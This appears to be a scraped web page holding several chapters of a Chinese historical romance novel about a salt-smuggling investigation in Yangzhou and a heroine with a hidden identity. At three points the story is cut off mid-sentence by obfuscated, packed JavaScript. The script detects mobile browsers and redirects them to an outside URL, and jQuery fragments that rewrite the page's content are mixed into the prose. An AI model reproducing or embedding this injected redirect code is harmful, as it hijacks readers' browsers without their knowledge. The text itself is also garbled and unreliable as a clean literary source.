l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986922|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但咱们先前尚未合议停当，而今我已想好了，本官要以所知全部消息，抵一半罪责，贿财可尽数奉公，家产却得小薛大人想法子为我保住了，如何？” 贪生畏死、聚敛无厌，确如乔明韬所言。 季窈面不改色答话：“张大人这话，奴婢做不了主，待到回去，必定同我家公子如实转告。” 张玄不为难她，话语间传达出另一层意思：“你且得让他快些了，否则恐使游鱼入海，错失良机。” 季窈正琢磨他这话背后的深意，绕在颈间的单丝罗随风散开，露出其下遮盖的青紫掐痕，她手忙脚乱将即要飞走的罗巾勾紧，一抬眼，对上张玄惊诧的眼神。 他不可思议地喃喃：“薛辞年，我却是错看他了……” “这伤并非公子所为。”季窈连连否认，吞吐良久，嗫嚅道：“实为、实为乔长史……” 声音虽小，张玄仍是听清了，愈发觉得悖于常理，一口咬定：“乔明韬？不可能！” “此子聪敏好学，性情虽孤高多疑，但绝非恃强凌弱之人，乔良这两个儿子本官了解，你不必骗我。” 季窈便将前几日乔明韬伤她之事掐头去尾、添油加醋的说了，临到话尾忽地别过脸去，鸦青鬓边垂落的珍珠坠子却泄了颤意，罗袖掩面时指尖不着痕迹地掐住虎口。 放下手后，不见悲戚情态，唯有两点水光悬于睫上，倒比檐下倾落的雨珠剔透三分。 张玄无妻无子，最是不会处理女子之事，教季窈这番反应打的手足无措，僵在原地半晌才挤出话来，“你、你莫要伤心，本官误会你了，全怪乔明韬……” 季窈自顾自继续道：“乔长史只说酒后认岔了人，把奴婢当成了杀父凶手，还说凡是阻碍他为父报仇之人，都不会有好下场。” 张玄愣住，“他当真是这么说的？” “此乃他酒后的清醒之言，千真万确。”季窈一本正经地污蔑。 张玄内心翻江倒海，背过身思如电转。 家业一朝倾颓，声名扫地以尽，至亲离散，仿若黄粱梦醒，此子只怕是执念深重，单从酒后行凶便看得出来，他行事已全然不顾章法了…… 见他不平静，季窈咬咬牙，又添一剂猛药：“他酒后似乎喊了大人的名字。” 张玄闻言急得差点跳起来，浑身都炸了毛，“干本官何事？那乔良临去照京前的确寻过本官，说是进京拜谒旧友，携来些许金银器物，托我为他弄来路引，本官计于往日情分，只受收了几件薄物，何曾害过他？这乔明韬疯了不成，怎能胡乱攀扯？” 话到此处又有些心虚：“我哪里知道他是去拜谒顺安侯，又哪里知道顺安侯大厦将倾，把乔良牵扯了进去……总之、总之与本官无关……” 他喘息未定，想到什么，又像找回底气，“本官倒觉得是那乔明韬自己将他父亲害死了呢！若非他性子执拗与乔良争执，如何会将乔良气的出走？” 季窈心神一凛，看向张玄。 18. [锁] 该章节由作者自行锁定 水雾顺着斜风漫上来，绿波翻涌间菡萏半掩，垂柳被揉成团团青墨。 季窈内心鼓动，却敛形色，稳着声线问：“大人何出此言？” 张玄回过头看见未解的残局，心中更是烦躁，没好气的回：“乔家人的家事，本官如何知晓！” 他不肯再多说，从角落抓了把伞塞给她，催促道：“我的话，你快些回去知会你家公子，留给他的时间已经不多了。” 天水坠地溅成数千银白雨花，季窈满腹心事，低头踩着这些此起彼落的花归府。 待自廊下收了伞，抬眼却见折转的游廊那头，薛辞年面覆卷书，斜卧在檀香木躺椅里，似是睡着了。 她不禁放轻脚步，行至近前时，听到他均匀的呼吸声。 他昨夜初闻她的提议便当即首肯，马不停蹄的彻夜安排，白日里也未见人影，想是如今才得片刻安闲，偏还要捏着卷宗在明光下看，倦极而睡在了屋外。 季窈从屋内抱来薄裯，悄声无息地为他盖上，探手将欲抽走他面上的卷宗，手腕忽被一把攥住。 少年力道极大，季窈几乎觉得自己是被一股吸力强劲纳进他的怀抱，卷宗“嘎擦”敲地，又“呼啦啦”的合上，少年的眸子少了往日流转的风情，映着廊外雨帘忽明忽暗的光影，赤红中隐含杀意。 这些都不紧要，紧要的是季窈现在整个人坐在他的大腿上—— 她尚未来得及回房，自然也未来得及换下.身上潮湿的衣裙，他在风雨中沁了许久，身上却并无冷意，透过薄而湿的衣物烫过来，直将她烫的失了分寸。 季窈慌乱不已，扭身就想要从他身上下去，薛辞年却一伸掌，箍住她柔软纤细的腰肢，哑声说：“别乱动。” 他似乎还未完全清醒，此时只是卸了防备，感受到怀中一股湿冷之气，蹙眉问：“衣裳怎么是湿的？” 季窈哪里有心回答他的话？急得面红耳热，甚还在他颈上重重拍了几下，试图让他明白自己现下在干什么。 一扭脸，对上檐外目瞪口呆，已踏了半只脚在阶上的云师，似是正犹豫着要不要到廊上来。 季窈不知哪来的力气，一下将薛辞年推开，站起身来，解释他方才的问话：“奴婢出府为公子买最爱的运司糕，不想铺子今日未开张，伞骨还在半路好生生的折了，这才弄湿了衣裙。” 薛辞年也懒懒随着她起身，眼神轻飘飘在云师身上剔了一眼，捡起滑落在地的薄裯，抖落上头的灰尘为她裹好，“碰见仓司的人了？” 靠在栏杆的伞用不着过多解释，正是仓司之物。 季窈点头，急不可待地张口：“是，张大人有话转告……” 薛辞年打断她，“换身衣裳再过来说罢。” 季窈也反应过来自己当下的容态不大妥当，听从他的话，回屋换了干燥的衣物，松松挽就半湿的发。 出门绕着回廊到书房，瞧见云师仍在廊外立着，虽撑着伞，肩头和袍角还是被风雨侵袭，湿了大片，奇怪问他：“你怎么不到廊上来？” 云师笑的颇有些命苦意味，只道：“姑娘不必管我。” 季窈一头雾水地推门，一五一十向薛辞年传达张玄的话，至于有关乔明韬的事，自是隐瞒过去，只当是一场意外相遇。 薛辞年听完评出四个字：“贪得无厌。” 他握着只料质润泽的玉白鹿角，正用刻刀在雕。 当日的蹴鞠宴因意外草草收场，并未分出胜负，陛下为表慰抚，还是将头彩赐给了薛辞年。 整块鹿角的稀有大料，这人暴殄天物，竟给肢解了。 “此事你不用费心，我会派人回他的话。”薛辞年意兴索然地捻落指节上的碎屑，将鹿角并刻刀搁进抽屉内，朝外唤道：“进来吧。” 云师拧干袍角的雨水，轻手轻脚地进门，站得远远的，拱手道：“公子，八重天那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986923|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，已教人里外砸了个干净，明间暗室皆被摸了一遍，无有异样，只是侧墙开了一道与众不同的偏门，直通渡口。” 季窈昨日提及的法子，即是雇十来个悍匪盗贼这等亡命之徒，抄砸抢掠，毁罢即遁，光明正大行事。 这一提议无疑是最为直接有效的。 许是到了临锋决要的紧迫时刻，薛辞年和云师动作很快，一夜便将人搜罗起来，这群人拿够了银钱，次日瞅准时机，挥刀舞棒地便闯了进去。 到底是拿钱办事，遵照了薛辞年不伤居客的命令，一应财物全从客舍里抢掠，带出这样一个消息后，就地分脏，自此分道扬镳了。 “渡口那里什么动静？”薛辞年有了猜想。 云师正色道：“渡口今日一早就泊了数十艘商船，听闻是转运司和陆姓商户达成协契，一方供船掩护，乘路引到北地销货，一方借船行进，以好护送花钗冠入京。” “属下守着盯了半日，见那些船上正紧张置备货品，搬运时蒙盖严实，看不出来是什么。” 季窈已瞬间想通其中关节，那数十支以护送花钗冠为名的民船商队，岂不是转走官盐最佳的寄身之处？ 真可谓，顺理成章，滴水不漏。 “何时发船？”薛辞年冷冷地笑。 “后天夜半。”云师答。 他颔首，沉声吩咐：“立即调派人手，分三拨围拢过去，务必把渡口堵死了，哪怕是半片榫板都不能飘走。” 云师领命欲去，薛辞年又补一句：“把御风司的人带上。” “是。” 暮云散作絮，最后一滴檐雨坠入青石凹痕时，铅灰色的天幕裂开道金罅，碎金似的阳光泼在湿漉明净的瓦片上，整个庭院霎时成了半透明的琉璃盏。 少年自窗屉的金光下转首看来，原本端肃的眉目在对上季窈时柔和下来，唇角噙一抹明朗笑意：“阿婵怎知我最爱扬州的运司糕？” 19. 第 19 章 云开日霁，万物增彩生辉，夕阳的余晖流注在雕花窗棂上，光线微弱而柔和。 “在相府时，无意听人提及过。”季窈这一答话，让人挑不出错处。 少年的眼睫浸在琥珀色的光晕里，随着眨眼的动作闪动细碎的光尘，他偏头看着她，眼中的笑意、疑惑，在这句话后消散于无。 他不置可否，抬步绕过她，留下一句：“我再睡会儿。” 显然是赶客的意思。 季窈不明白他为何态度急转。 她依稀记得当年在宫学，曾有同窗撞翻了他特意托人从扬州带来的运司糕，小小一盒，拿来时外壁覆一层水汽，内里填着冰，听闻为保糕饵之鲜，由镖局的人路远迢迢，快马加鞭送来。 薛辞年为此与这位同窗大打出手，非但惊动了各自尊长，两家的官司还闹得天大，险些捅到陛下跟前。 且他当时一面朝那同窗脸上挥拳，一面称这运司糕是最爱，虽然那个时候乱糟糟的一片，她甫从讲堂外进来，听得不大真切…… 但护食护成这般，当是事实罢？ 一个呆头呆脑杵在雨中受淋的云师，一个莫名其妙揪着块运司糕不放的薛辞年，季窈如堕五里雾中，究竟是乔良一事放在首要，返回卧房，徐徐梳理白日所听事宜。 乔明韬身负惊世才名，长于四书之教，克己慎行，尊师重道，能与乔良起怎么样的争端，竟将其逼得出走照京，千里奔走，来向父亲讨教？ 辗转至后半夜，心知此事需从乔明韬身上着手，还得想方设法与他再见一面。 季窈丝毫无睡意，阒静间听屋外扑簌簌似有飞鸟悬落，紧接着传来笃笃叩窗之声。 她心中生异，迟疑着起身下榻，谨慎地将窗挑开一道缝隙，见一只飞奴立于窗沿，点漆般的眼睛骨碌碌的转，尖尖的喙一下一下朝抱框上点着，对上它便停下来，擎等着她来解它腿上系着的信纸。 左右张望几眼，迅速取了信，将窗紧紧阖上。 她捡起灯剔，小心翼翼挑起灯芯，烛火微微一亮，展信一观，上头一行整齐的小字： “后日夜半，渡口东畔酒舫一会。” 这字迹季窈认得，那天在西厢与乔明韬对谈，其所临的帖子就呈在她的眼前，后来收整，薛辞年赞他笔致精妙，便就陈在了房中那张条案上。 他写一手秀劲的楷字，行笔中锋立骨，侧锋取妍，每一笔都深谙古法、细腻精道，颇有其师屏阑先生的风骨。 季窈心想他这次倒与她心契神悟了，给出的辰刻还恰与薛辞年计划相叠，正好让她有行动的余地。 令人奇怪的却是，怎也偏选在了渡口这等是非之地？莫非也太巧了些。 思绪间已顺手将信纸在烛焰上烧尽。 经两日严密部署，渡口岸边卖茶水的老汉、挑担的货郎、摆渡的船夫……皆被薛辞年手下之人悄无声息代替，深深芦苇内伏锐卒三百，寂然无声，以待时机，随时可以破草而出。 季窈自昨日便没再见过薛辞年，门房的人在晚间得了她两壶酒，此时已鼾声如雷，另外只沾了几滴守夜的，也是昏昏半睡。 人定夜深，前庭空寂，回廊下灯笼微光摇曳，偶有夜风吹过，烛火轻晃，却惊不起一丝波澜。 她悄悄自角门溜出去，沿着幽径往渡口趋行，少女穿一身单薄的杏子红襦裙，波纹流动般的裙摆早已被夜露浸透。 脚步渐停，她望着江心那点飘摇的灯火。 渡口石阶长满青苔，一级级没入漆黑的江水，那艘朱漆斑驳的画舫就泊渡口之畔，与那商船相隔甚远。 舫船檐角铜铃叮咚，晃碎满江月华。 季窈扶着潮湿的木柱拾级而下，忽见舫中珠帘轻动，船舻内四角灯次第亮起，将雕花窗棂映得通明。 “姑娘来迟了。” 青年声质温沉，漫着酒香传入她的耳中。 季窈腹诽这人装神弄鬼，脚尖一探，踏上船舫，撩帘入内。 船心架一张双面绣的屏风，将船内空间巧妙分隔，一面花鸟明艳，一面山水清幽，乔明韬的身影便隐现在屏风对侧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996552|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季窈在他的请声中，于这侧的乌木桌前落座，桌上定窑白瓷的酒盏胎质轻薄，迎光而照，几近透明，盏中酒液纯净如水，随着船身盈盈晃动。 她看一眼，露出一丝笑意，轻盈又无谓：“乔大公子深夜邀人至此，所为何事？” 屏风那面的身影饮酒亦是端正，回道：“适闻姑娘有所获，我素以姑娘为知音，急欲知晓，烦请告知一二。” 知音？虚情假意。 只他从不轻易露底，季窈倒不意外他将问题抛回给自己，不紧不慢道：“我此行的确收获良多……” 她轻拈酒盏，皓腕微转，盏中琼浆随之缓缓漾动，声音又轻又软：“乔大公子，你也莫要再装作那孝顺良子，这乔大人，分明是你自己害死的呀。” 乔明韬身形一滞，却不恼，似是觉得有趣，说话间声音带着惊奇的笑意：“世人皆说顺安侯有一女，琼姿花貌，有咏雪之慧，我年少时与她匆匆一面，今朝有幸得见，才知所言非虚——” “我说的可对？季大小姐。” 船外檐角的铜铃被风卷的急切，这四个字压在铜铃与风声、细浪之下，甫一出口，刺得季窈耳鼓生疼。 她低头去看手中的酒盏，若非一口未沾，她几乎要怀疑自己是否吃醉了酒，以至做了往日夜深独自一人时才常有的噩梦。 口中不知何时开始发干，额角突突直跳，季窈死死按住乌木桌的桌角，竭力稳下几近破败神思，冷静叱道：“乔大公子在胡言乱语些什么？” 她言辞虽冷硬，却已是外强中干，不堪一击。 微风缓缓拂过江面，船舫如摇篮般轻轻晃悠，直将季窈晃的头脑昏沉，感觉要沦陷在着浓郁的酒气和潺潺波浪声中。 “祠堂梁木倾，不敢忘鸦啼三更。”乔明韬饶有兴地致重复她那日说过的话，语气淡的好似说一些琐碎庸常的小事，“我虽少小离京，但如果记忆没有差错，顺安侯终其一生仅育一女，收留的义子至死都未祭宗族，入祠堂——” “你不是季窈又是谁？” 20. 第 20 章 似隔非隔，似断非断的双面绣屏风，其上花鸟栩栩如生，背后山水景致光影浮动。 乔明韬从屏风后转出来。 他今夜穿着少见的鲜华，一身宝蓝色的织锦直裰，金线绣就的卷云纹沿衣摆向上蜿蜒，袖口月白锦缎镶边，几枝墨梅点缀，抬手间扇坠上的翡翠珠泠泠作响，与他笃定的话音相叠。 “我虽不知你如何假借了他人身份，又如何改颜换貌，将所有人蒙进鼓中，甚还取得薛辞年的信任……但除了季窈，你不会是任何人。” 年少时便诸般荣耀加身，世人皆知的聪敏无双，而今季窈被他的聪敏逼得实为恼怒，却知他终究看不出她的真貌，一颗心逐渐平静下来，稳端端地坐着，“乔大公子既说不知，那便是猜测了，胡乱的臆度之言，岂可为信？” 她搁下酒盏起身，踱步到他面前，抬着玉质般的瞳仁看他，“还是说……乔大公子认为，是季窈的鬼魂附在了我身上，是以不敢将此事宣扬出去，只怕被认作癫狂之徒，毁一世英名。” “荒唐。”乔明韬从鼻腔哼出一声。 少女翠眉拢起，如同一弯被轻云遮住的月牙，带着些迷惑，带着些委屈，乔明韬却从中读出明晃晃的挑衅之意。 “不肯信怪力乱神，又拿不出我是季窈的证据，空口白牙的这样冤枉人，这便是乔大公子的君子所为吗？” 乔明韬被堵的哑口无言，季窈却愈说愈顺，乘胜追击：“顺安侯并非谋逆，乔良也不是乱党，两家皆蒙冤受祸，你我共怀鹄的，何必苦苦相煎？” “你既非季家人，又怎能确信顺安侯并非谋逆？”乔明韬反唇相讥。 "自然是季窈的鬼魂告知于我……”季窈煞有介事，绕他行走，“她还告诉我，张玄的手伸不到照京，他没有理由也没有胆子去杀乔良，而那个逼乔良出走照京的人，才更该拷问一番。” 她停步在他身侧，歪头看他，明眸如珠，笑意浅浅，“或许乔大公子也没有想到，一时的赌气之言，竟害得至亲与自己天人永隔，落得身后名毁、遗笑后世的下场。” 即便知道她巧舌如簧，最会挑.弄人心的软弱之处，乔明韬还是教她得逞，忍不住闭上眼，缓缓吐出一口浊气，“善心曰窈，善色曰窕。季窈，你不孚所望。” 不在意他如何称呼，季窈知道这是他要松口意思。 "若仅仅是我父亲得知我与商户为伍呢？"乔明韬低眸看她。 季窈一怔，一股强烈的预感指引着她，脱口问道：“哪个商户？” “陆家。” 季窈茅塞顿开：“所以孙知远与陆家官商勾结，是你一手促成？藏匿官盐的八重天客舍，护送花钗冠进京的数十艘商船，也皆由你在中间周旋。” “当然。”乔明韬笑的无谓，“谋生之举，有何不妥？” 季窈连连点头，“你精心算计，竭力要保的，也压根不是孙知远，而是陆家……” 说到此处，一道惊雷在脑中炸响，季窈霍然反应过来什么，原本迟疑的神情瞬间被慌乱取代，只见她猛地转身，调转脚尖要往船舫外跑，被乔明韬一把拽住。 不大的船舫因二人的推搡摇晃不定，船上敞两面船窗，鲛绡帘子挑着，其上珠串惊得清脆碰响。 乔明韬示意她向对岸的江畔看，哪里灯火通明，人影憧憧，数十载满货物的商船即刻就要启程。 “绝佳的观戏之地，姑娘莫急着退场。” 季窈挣脱不开，忿忿看向他。 * 月光像一柄银刀剖开云层时，八重天内的菱花隔扇投下阴影，恰好将薛辞年的身形掩盖。 这方客舍的确被砸的干净，灯架被拦腰斩断，名贵瓷器摔得粉碎，往昔陈列的书画也被扯碎、践踏，凌乱散落在地，明室暗阁以一种粗暴的方式破开，尽入眼底。 客舍因惨遭损毁，迎客无望，高悬的华灯已歇了三日。 少年的靴尖碾过碎屑，朝回廊迎江的窗子走去，渡口之畔柳条绿得深沉，其下各船头尾皆燃起了火炬，整齐排列着，准备起锚。 江风掠过三重飞檐，他的指尖抚过缠金的檀木窗沿，眼尾忽地掠过一线金红，眸中锐色倏然凝住。 阁楼东侧二百丈，本该空无一人的江面上，不知何时泊了艘朱漆画舫，十六盏四角明灯悬满船舷，映得江水如滚了层金箔……这光景太过招摇，倒像是刻意为之。 然则现今时机已至，薛辞年来不及多想，手一撑，飞燕掠水般纵出窗子，轻轻落于地面。 将欲抬步，雪亮的剑光伴着簌簌落下的柳叶直劈面门，幸而他及时后仰，躲过了致命一击。 薛辞年就势往后飞退，拔出剑锋格住利刃，站定的那瞬力道往旁偏了半寸，隔着剑光、月辉和江灯，看清对面的人。 “想去渡口，先从我身上踏过去！” 薛辞年眉头一紧，压低声音规劝：“乔子澍，为孙知远卖命、动摇国本，对你并无好处！你年纪尚轻，还有前程尚未发轫，千万不要走入歧途！” 乔泊霖嗤笑连连，讽刺道：“薛扶光啊薛扶光，你果真是金银窝里待久了，体会不了为人所制，遭人驱使的难处……” 他眉一压，猛地发力，“总之今夜，你不能再往前半步！” 夜风送来起伏的波涛声，混着二人刀剑相向的铮铮之音。 数船临发，渡口传来阵阵鸣锣，其音铿然，如催征之令。 薛辞年心知如今的情势已拖不及，挽剑转花，一下挑开乔泊霖，剑尖以蛮力划过乔泊霖的臂膀，鲜血瞬间涌出，洇红了他的衣袖。 薛辞年得以脱身，转脚往渡口疾奔，圈指在唇边吹哨，大喝一声：“截船——” 这声音惊起芦苇荡中几只白鹭，两岸瞬间窜起千点火色，那些火点贴着水面疾驰，渐渐显出人形：蒙面客们踏水而来，腰间分水刺划开墨色江波，像一群嗅到血腥的银鱼。 商船被火光围绕，锐卒掠上甲班，绑挟舵手，将货舱中的箱匣挨个踹开。 混乱的踢踏声，重物砸地声以及咒骂声漫在整个江面，薛辞年负手立在岸畔静静看着，身后脚步与砂砾的刮擦动响落定，他侧了侧首，对身后压着乔泊霖的侍卫道：“先带下去诊伤。” 乔泊霖被布条封了嘴，口中的话呜呜哇哇的说不清楚，薛辞年未曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他算到了他们能算到的一切，大费周章布这一场局，不单单是为撇清自身嫌疑，更是为反过来往他头上倒扣罪名，去除这一终日悬于头顶，随时可能落下来的铡刀。 薛辞年见此也笑，他这笑便带了几分冷意和压抑的恼怒，揽紧怀中的少女，懒得与他们虚与委蛇，扬声道：“传令下去！全面封锁下方盐场，控制运河水路，孙知远和乔明韬幽禁府中，整个漕司没有命令不得擅动！” “薛辞年你大胆！”孙知远怒喝，“你虽是身负皇命，越于百官之职的按察使，但还没有这么大的权势，能在整个扬州兴风作浪！” “是吗？”薛辞年挑眉，“如果偏偏有呢？” 说话间右手探进襟口，指节勾出缕刺目的金光。 令牌腾空的刹那，御风司的玄甲卫应召而来，眨眼便将乔、孙两人围拢，腰间佩刀齐齐震响三声。 “陛下金令在此，还不拜服——”有人沉声呼喝。 乔明韬和孙知远不得不当即半跪，咬牙领受：“下官遵命。” 薛辞年携季窈行经二人身侧时，脚步微顿，低了低身，嘴角噙笑道： “花钗冠也不劳孙大人费心，本官定早日了结此案，好亲自替您送至太后手中。” 21. 第 21 章 随二人脚步渐远，背后杂乱的声音如同退潮的浪，渐渐变得微弱，只偶尔传来几道模糊的声响。 薛辞年忽然蹲下身，拢了把季窈的裙摆，轻纱罗縠的材质，流水般滑落掌心，触之仿若无物，柔软而干净。 确信她没有受伤，薛辞年这才放下心来，起身眺向停泊东侧的漆黑船舫，声音很淡：“方才你在那里罢？” 季窈一时不知如何作答。乔明韬的确没有当着众人的面拆穿她，可她原不该在此，更不该与他待在一起，偏生他挟着自己在众目睽睽之下现了身，又与告发她有何异？ 然而细观薛辞年的神态，不似生疑，也无愠色，更像是随口一问，让季窈拿捏不准。 “来寻我？”他低眉看来。 季窈简直犹如黑暗中摸索到半级台阶，紧忙顺势而下，殷切地答：“是，奴婢忧心公子安危，特赶来瞧瞧情势，不曾想教乔长史截了路，虽发生几句口角，好歹两方都未计较，还无意探听到些微要情……” 她这话本是为着岔开话题，加之的确是不可疏忽的要事，应让他尽早知晓才是。 薛辞年却半点没听进去，正色道：“乔明韬此人聪慧过甚，善谋机变，今日的状况你也见了，你我棋差一着，从最开始就被他牵着行走，若非陛下金令在此，今夜中计便只得将不甘着血吞下，万万没有耍赖的余地。” “你最好离他远一点，以免祸事及身。”话至最后，他着重强调。 季窈仰起脖颈，对上他的目光。那惯常盈着笑意，足以勾魂摄魄的桃花眼，此时眼睑微垂，眼神幽邃，也正一瞬不错凝着她看，仿佛能洞悉一切。 季窈心说已经晚了，乔明韬已猜中了她的身份，即便她凭靠凤羽印的外力咬死不认，亦无法改变他心中成见，换句话说，现今乔明韬就是威胁于她生死的最大存在。 眼下二人各有所需，虽不至于将对方逼入死地，焉知往后风云如何变幻？会不会让她祸事及身？ 见她陷入沉思，迟迟不语，少年叹一口气，拨出金令塞进她手里，“还有一次耍赖的机会，拿好了，保你在离开扬州前平安无恙。” 此金令为薛辞年临行前，梁昀青撑着病体历经恳请，才承蒙的恩准，殊用之机仅有三次，用罄即无。 先前一次在盐场逼问季窈的下落，一次在今夜免于落进圈套，薛辞年已因公两次动用了这枚金令，只剩最后一次机会了。 季窈看一眼沉甸甸压在掌心的物甚，下意识推拒：“这金令如此贵重，危急时刻甚可关乎性命，怎可交给我？” “正是因为关乎性命，才要交给你。”这话连薛辞年自己也一愣，转口解释：“我父亲官居显位，朝堂上下皆仰其威，再如何，他们不敢动我。” 他伸出手，轻轻握住她的，缓缓用力，助她将五指收拢，使得金令牢牢握在她的手中，温声交代：“紧要关头可以用此差遣御风司的黑甲卫，但不得先斩后奏，枉顾人命，可记住了？” 这象征帝威、视同圣驾亲临的金令，自昔年僭主夺祚弑统，建立伪朝，以及伪朝覆灭多年，当今必陛下复国至今，都未曾启用过—— 这原是大内的一桩密辛，事因季窈十一岁那年便入了宫禁与明华伴读，二人闺阁中曾悄悄地私议过，是以知晓一二。 此事尚得追溯到前朝的昭辉六年。 彼时南江大旱，庄稼颗粒无收，各州县内存粮不足供，饥民易子而食。 物之贵者，以其稀也。商人逐利，纷纷乘此时机哄抬米价，一时间民怨沸腾。 近旁州县遣人于诸商户及交通要路间遍贴告示，严禁粮商哄抬米价，否则处以重罚。一时间米价虽稳，粮商却将米全部囤积起来，不愿卖出，致使灾情愈加严峻。 越州知州符文展却在此时放出消息，称凡在越州辖内，米价涨跌之事，官府绝不干涉，于是各地粮商相争越境而来，涨价售粮。 恰逢太子——即当今陛下自请南江，微服潜行至越州一带。 自幼居瑶台琼室，衣必锦绣，富贵温柔乡里长大的孩子，又值舞象之年，正是意气风发，欲展其能的年纪。 梁珩自诩锐志向学，心怀天下，亲眼目睹民生之艰，不禁心生恻然，闻此行径随又忿怒，当即拨下金令，命人前去割下了符文展的脑袋。 符文展一死，梁珩立即撤下先前声告，大力抑制米价，粮商惮于皇威，又多是路途遥远而来，一来一去，只怕亏损更甚，别无选择，只得低价售粮。 后来饥荒得解，梁珩由此得民间颂誉。 身死而事靡究，符氏一族却绝于声闻。 直至辉昭九年，梁珩自北地监军归程，不料受敌军残兵埋伏，险些死于山间落石之下，生死垂危之际，侥幸被一途径此处的书生所救。 书生名叫张玉，为救他舍了一箱的书，愤愤不平向其索偿。 梁珩未点明自身身份，后在侍卫寻回的湿透书箱中无意发现他的文章，惊艳于他不凡的文采与才思，遂其将他引入照京。 恰是勤王薨逝，皇家正从官宦人家中挑选适龄的少年送葬，由他们出殡时牵引灵柩唱挽歌，称作挽郎。 挽郎事毕即可授官，可谓出仕的一大捷径，且是公卿以下六品子弟皆可参选，京中官宦子弟无不趋之若鹜。 赵玉无权无势，偏就凭着梁珩这棵乔木，硬生生挤进了扶殡的队伍中，而后封了八品的中书省录事。 梁珩所料不差，赵玉的确才华过人，短短五年时间便由中书省录事升右司郎中，又迁雍州刺史，调京后擢为中书舍人。 当是时，姜薛两家各分朋党，相互倾轧已达四十年之久，因赵玉无门第之倚，不涉党争之流，故深受先帝宠信，常入禁闼，后至中书侍郎一职。 传宣诏令，位居执政，彼时的赵玉，仅仅二十有三而已。 先帝暮年沉湎方术，然身体每况愈下，气力渐微，龙驭宾天之际，传唤心膂亲随至榻侧，以明遗诏。 不想变故斗生，赵玉竟乘乱起衅，联同宫闱内外搅乱局面，送走先帝，追杀皇储，堂而皇之坐上龙椅，定新朝为魏，年号崇光。 梁珩也就在这时才知，这被他引入照京，以为荣焉的弱冠奇俊，根本不是什么赵玉，而是符英。 那个被自己草草一刀、解决了事的越州知州符文展的儿子，符英。 原来当初不理米价，是符文展一场请君入彀的算计，当时就有官员向符文展谏言，要他强迫商户拿出米粮，严惩这些囤货居奇的商户，符文展只是按兵不动。 即便没有梁珩，符文展也必将会做出和他一样的决断。 而梁珩的出现，成为了这既定之策的变数，符家因此迎来灭顶之灾。 昭辉十四年二月廿七，金銮殿的高座主客易位，两方于京门内外的风雨中对峙，符英高立城墙，两眼猩红告知梁珩这一切。 他不在乎世人唾骂，更不在乎所谓的身后名，他只要自己所经受过的苦痛、磨难统统还治其身，仅此而已。 万道羽箭铺天而下，梁珩由近臣护送，一路逃至南都康陵，在那里蛰伏十年。 销铄傲气，痛失亲子，他在日夜纠缠的悔恨与自疑中，在漫漫的复国征途上，学会了如何去成为一个真正的君主。 十年后他带着旧部杀回照京，虽重归帝位，却未能取得符英的性命，其和残党在大军攻入宫门前秘密潜逃，至今不知伏藏何处。 陛下因年少的一时意气铸就大错，甚为后世遗下无穷隐患，知情的内臣皆明白此乃陛下逆鳞，不敢轻易触之，久而久之，衍变成了一则不可提及的密辛。 限其用数，不再复授以重权，陛下想必也是思之再三，方才作出定夺，是以这枚金令有多难得，季窈十分清楚。 江风卷着细长的柳叶直往人的身上扑，她攥紧手中冰凉质坚的金节，轻轻“嗯”了一声。 * 第二日一早，张玄不请而来，自言有要事相告。 昨夜渡口动静惊天，风声未及天明就传到了张玄耳中，封锁盐场，控制漕司，幽禁孙知远和其下长史，陈邈仪则自那日逡巡盐场就已被操纵，凡是有关私盐案的一切都被薛辞年压在掌下，却唯独没有动仓司。 张玄知道这是薛辞年在给他机会，前几日作出的要求一概没再提，奉上两只五色奇诡的鬼面，道：“玉纱江的江心于十五夜半会停一艘楼船，内情人称鬼船，作用与鬼市无异，那里，或许有你想要的东西。” 因这船中行的都是暗盘交易，众人多不欲显露其貌，而这鬼面既成遮掩之具，亦作通行凭证，张玄在扬州颇有些门路，花高价从一对兄妹手中买了下来，特意趁薛辞年一筹莫展之际，送入他手中讨巧。 薛辞年自然受用，笑道：“你那日说过的话，我会考虑。” 有他这话，张玄半颗心落定，当即情真意切地表明一番忠心。 后日便是十五，有了确凿的消息和登船凭引，可以说是万事俱备，几人却在选定何人与薛辞年一起时犯起了难。 张玄不明所以，“你那总跟在身边，心思灵巧的侍女呢？她不就是最好的人选？有何好纠结的？” 薛辞年默不应话，捡起桌案上稍大那只鬼面，道：“我一人前去。” 云师皱着脸：“公子不可，张大人才将说了，这两只鬼面一男一女，合成一张凭引，单个入不得船！” 他支支吾吾地开口，终是说出了内心想法：“不若……不若就让阿檀姑娘与你一同前去吧。” “我不同意。”薛辞年断然拒绝。 他思索片刻，对云师道：“你去，在府中择个身量不高、形体瘦削的小厮，届时令他乔装改扮一番，随我混进去。” 张玄又跳了起来，“入船可是要验明正身的！解衣查验也亦不能少！能佐证身份的腰牌我都为你们借来了，切不可因为这些细枝末节坏了大事啊！” 